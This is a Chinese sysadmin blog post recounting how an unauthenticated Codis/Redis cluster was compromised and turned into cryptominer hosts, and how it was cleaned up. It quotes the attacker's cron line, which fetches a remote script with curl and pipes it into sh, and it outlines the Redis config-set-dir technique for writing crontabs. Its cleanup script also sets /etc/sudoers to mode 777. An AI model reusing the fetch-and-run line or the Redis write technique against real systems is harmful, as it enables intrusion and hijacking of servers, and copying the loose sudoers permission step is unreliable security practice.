起因

昨天下午,Codis集群的codis-server节点不停的timeout;因为下午开发那边运行了大量的服务,是很消耗带宽的,这是事先就知道的,当时以为是跑服务的原因,没有注意到机器出了问题(随机一个节点timeout的,如果只是一台出了问题,问题就好排除了)

到了晚上,网站开始出现搜索异常,搜索结果时有时无;boss找我,无奈12点也要看;此时看到有两个节点已经是Error了,Redis已经挂掉了,本来有Sentinels监控应该是可以自己切换的,但是并没有;于是登陆主机启动codis-server;主节点没有任何提示就是起不来!!!

经过

查看日志,报错:

9084:M 31 Jul 23:52:05.904 * Increased maximum number of open files to 10032 (it was originally set to 1024).
9084:M 31 Jul 23:52:05.906 # Server started, Redis version 3.2.11
9084:M 31 Jul 23:52:05.906 # Wrong signature trying to load DB from file
9084:M 31 Jul 23:52:05.906 # Fatal error loading the DB: Invalid argument. Exiting.

看到这个问题,以为是rdb文件有错误;因为下班前尝试过直接kill掉codis-server;删掉了rdb还是起不来。怀疑配置文件有问题,再次查看,突然发现不太对,怎么配置文件里会出现'root'关键字???再一看**dir '/var/spool/cron/'**恍然大悟。立刻top一下。
mark
再一看crontab,果然有一条:*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh

大意了,挖矿程序并没有使用全部CPU,而是使用80-90%的CPU;系统不会卡顿,还真没有注意到!赶紧看看其他节点,果然全部都中奖了。

事情明白了,因为系统是几年前开发出来的,一时方便,没有设置redis密码的功能;之前建议过,一提到要改项目代码就怕出问题,boss不通过。现在等于敞开家门。经过这次,boss终于决定改项目了!!!

下面是处理过程:
当天晚上我看了下并没有急着处理;这些节点只有一台机是装了nginx做反代的,如果惹怒了脚本小子(为什么呢?脚本比较粗暴;方法也比较烂,之前处理过一个更隐蔽的挖矿程序,进程不断的变化的;当然,遇到真黑客我是没办法挡的住了。),可能会采取极端措施;于是还是睡个觉吧,挖矿就挖吧,基本无害,考虑好了再迅速处理!

**大致原理:**端口扫描到了Codis-Proxy端口,连接redis命令行,通过config set dir,save等一顿操作(只能写文件,无法新建目录)
写入crontab后等一会儿crontab就会做剩下的事了。
参考:
http://www.freebuf.com/column/158065.html
http://www.freebuf.com/vuls/148758.html
http://www.freebuf.com/column/170710.html
http://www.freebuf.com/vuls/162035.html

第二天:
1,观察top,发现qW3xT.2和ddgs.3013比较好认又奇怪的进程,ps一下找到路径。还有某一台上有plymouthd进程,于是尝试kill掉qW3xT.2和ddgs.3013和plymouthd,再删除这三个文件;没一会儿又起来了,不能再试了,再试就要被发现了。

2,codis-server的配置也肯定不能用了;再次看看,诶!!!又变了;持久化的文件名由“root”变为了“dump.rdb”,路径变为“/”,难道怕发现改回来了?掩盖一下?

3,浏览器打开http://149.56.106.215:8000/i.sh看看脚本内容,分析分析。
mark
特地创建目录/var/spool/cron/crontabs,看了下有个**tmp-开头的文件,还有个名为:root的文件,内容就是:*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
看来1中kill掉又起来可能是因为
tmp-**这个文件搞的鬼,还有要提防的是把命令写到rdb文件里;修改好配置启动codis-server加载持久化数据时会把数据写到redis里,通过特定的手段也是可以执行的;所以根据业务情况,我这里直接删掉了rdb文件。

4,脚本的最后一点是和其他挖矿程序竞争的,这种挖矿病毒kill掉都是会重启的,但是有个条件,检查到CPU没有什么性能时就会放弃启动。所以脚本最后kill掉后启动,抢占资源,其他挖矿程序就会放弃启动。

开始处理

# 先查看那些用户下有异常计划任务,删除
for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done

# 直接粘贴迅速搞定
pkill -9 qW3xT.2
rm -rf /tmp/qW3xT.2
pkill -9 ddgs.3013
rm -rf /tmp/ddgs.3013
rm -rf /tmp/dump.rdb
pkill -9 codis-server      #kill掉,换一个新配置文件
pkill -9 plymouthd
rm -rf /tmp/ssh*
rm -rf /tmp/yum_save_tx*
rm -rf /var/spool/cron/root
rm -rf /var/spool/cron/crontabs
rm -rf /var/run/plymouth/pid
rm -rf /XXXXX/dump-6380.rdb   #删掉持久化文件
rm -rf /XXXXX/dump-6381.rdb

# 封锁IP
firewall-cmd --permanent --zone=public --add-rich-rule="rule family="ipv4" source address="149.56.106.215" reject"
firewall-cmd --reload

#重新下载conf模板进行配置
cd /usr/local/codis/conf/
rm -rf redis-6380.conf redis-6381.conf
wget 192.168.0.50/redis-6380.conf
wget 192.168.0.50/redis-6381.conf

sed -i "s/maxmemory 12gb/maxmemory 30gb/g" redis-6380.conf
sed -i "s/maxmemory 8gb/maxmemory 15gb/g" redis-6381.conf
# 设置配置文件权限(codis用户要有读写权限,手动同步时会修改配置,没有写权限会同步失败)
chmod 664 redis-6380.conf
chmod 664 redis-6381.conf


#注意codis-server最好用普通用户运行,普通用户禁用sudo和su;
# 以下是切换到普通用户
useradd codis
echo "XXXXX" | passwd codis --stdin  &>/dev/null
chown -R codis:codis /usr/local/codis
chmod 777 /etc/sudoers
echo "codis ALL=(ALL) ALL,!/usr/bin/su,!/usr/bin/sudo,!/bin/su,!/bin/sudo" >> /etc/sudoers
chmod 440 /etc/sudoers

su codis
chmod -R 444 /usr/local/codis/conf/*.conf


# 启动
codis-server redis-6380.conf
sleep 1
codis-server redis-6381.conf
sleep 1
netstat -lntp |grep codis-server

最后再观察一段时间,一切正常。剩下的就是项目那边加密码了,大约要一个星期。不加密码换个IP又接着来。

结果

本来一不小心在浏览器就找到了这个。
mark
再看ip,58.250.90.16,加拿大魁北克省博阿努瓦 ovh.com;看来要么是vps,要么是肉鸡。突然想起我们是祖国好花朵,不能这么任性,对方是主机商,惹不起,算了!

20180827补充,再次清理

由于项目人员一直拖,已经一个月了,还没有加密码,明明只需要在连接地址上加上“密码@”就行了(项目用的是ServiceStack.Redis),竟然说要一个月时间!!!不是很明白那些“项目负责人”;今天是周一,上周五就出问题了, 整个集群中毒了,和上次是同一个人;看来运维一直是背锅的!!!今天处理好了服务器,恢复正常了,在群里提了下,然后负责人才告知要怎么改!就是加上“密码@”就行了,瞬间啪啪啪打脸。

下面是处理过程:

# 修改Proxy,中了好几次毒,不确定是否已经泄露了redis的密码,修改一下。session_auth就是proxy的连接密码。
sed -i 's/product_auth = "123456"/product_auth = "XXXX"/g' /usr/local/codis/conf/proxy.conf
sed -i 's/session_auth = ""/session_auth = "XZXZXZXZ"/g' /usr/local/codis/conf/proxy.conf
pkill -9 codis-proxy
sleep 2
rm -rf nohup.out
nohup /usr/local/codis/bin/codis-proxy --ncpu=4 --config=/usr/local/codis/conf/proxy.conf --log=/usr/local/codis/log/proxy.log --log-level=WARN &
sleep 5
netstat -lntp |grep codis-proxy


# 封锁IP,修改一下要屏蔽的IP
firewall-cmd --zone=public --list-all
firewall-cmd --permanent --zone=public --add-rich-rule="rule family="ipv4" source address="149.56.106.215" reject"
firewall-cmd --reload

# 开始清除病毒(看看所有用户的计划任务)
for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done
crontab -e

# 删除文件
pkill -9 qW3xT.2
rm -rf /tmp/qW3xT.2
pkill -9 ddgs.3013
rm -rf /tmp/ddgs.3013
rm -rf /tmp/dump.rdb
pkill -9 codis-server      #kill掉,换一个新配置文件
pkill -9 plymouthd
rm -rf /tmp/ssh*
rm -rf /tmp/yum_save_tx*
rm -rf /tmp/temp-28190.rdb
rm -rf /tmp/redis_6379.tmp
rm -rf /tmp/root
rm -rf /var/spool/cron/root
rm -rf /var/spool/cron/crontabs
rm -rf /var/run/plymouth/pid
#删除持久化文件(主要是临时对比数据,允许丢失),不确定有没有把恶意代码写入了redis里了。
rm -rf /usr/local/codis/data/redis_data_6380/*
rm -rf /usr/local/codis/data/redis_data_6381/*


# 修改Redis配置(取源配置文件中的配置)每台中毒的节点都运行
cd /usr/local/codis/conf/
master=`cat redis-6380.conf |grep "maxmemory " |awk {'print $2'}`
echo $master
slave=`cat redis-6381.conf |grep "maxmemory " |awk {'print $2'}`
echo $slave
savevalume=`cat redis-6380.conf |grep "save "|sed -n "3p"`
#获取第三行可以sed -n "3p"也可以awk 'NR==3'
echo $savevalume
rm -rf redis-6380.conf redis-6381.conf
wget 192.168.0.115/redis-6380.conf
wget 192.168.0.115/redis-6381.conf

# 密码已经在模板文件中修改好了,只需要根据不同机器的性能修改配置
sed -i "s/maxmemory 12gb/maxmemory $master/g" redis-6380.conf
sed -i "s/maxmemory 8gb/maxmemory $slave/g" redis-6381.conf
sed -i "s/save 60 10000/$savevalume/g" redis-6380.conf

/usr/local/codis/bin/codis-server /usr/local/codis/conf/redis-6380.conf
/usr/local/codis/bin/codis-server /usr/local/codis/conf/redis-6381.conf
sleep 1
netstat -lntp |grep codis-server


# 修改Dashboard(修改了redis的密码,这里也要修改)
/usr/local/codis/bin/codis-admin --dashboard=192.168.0.52:18080 --shutdown
sleep 2
sed -i 's/product_auth = "123456"/product_auth = "XXXXX"/g' /usr/local/codis/conf/dashboard.conf
rm -rf nohup.out
nohup /usr/local/codis/bin/codis-dashboard --ncpu=4 --config=/usr/local/codis/conf/dashboard.conf --log=/usr/local/codis/log/dashboard.log --log-level=WARN &
sleep 5
netstat -lntp |grep codis-dashboa

十字叉病毒,杀不死的小强,一次云服务器沦陷实录

这个是网上看到别人的,整个处理过程。
http://blog.51cto.com/ixdba/2163018

文章作者: Leo
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 LeoLan的小站
安全 redis Redis安全 Redis漏洞利用
喜欢就支持一下吧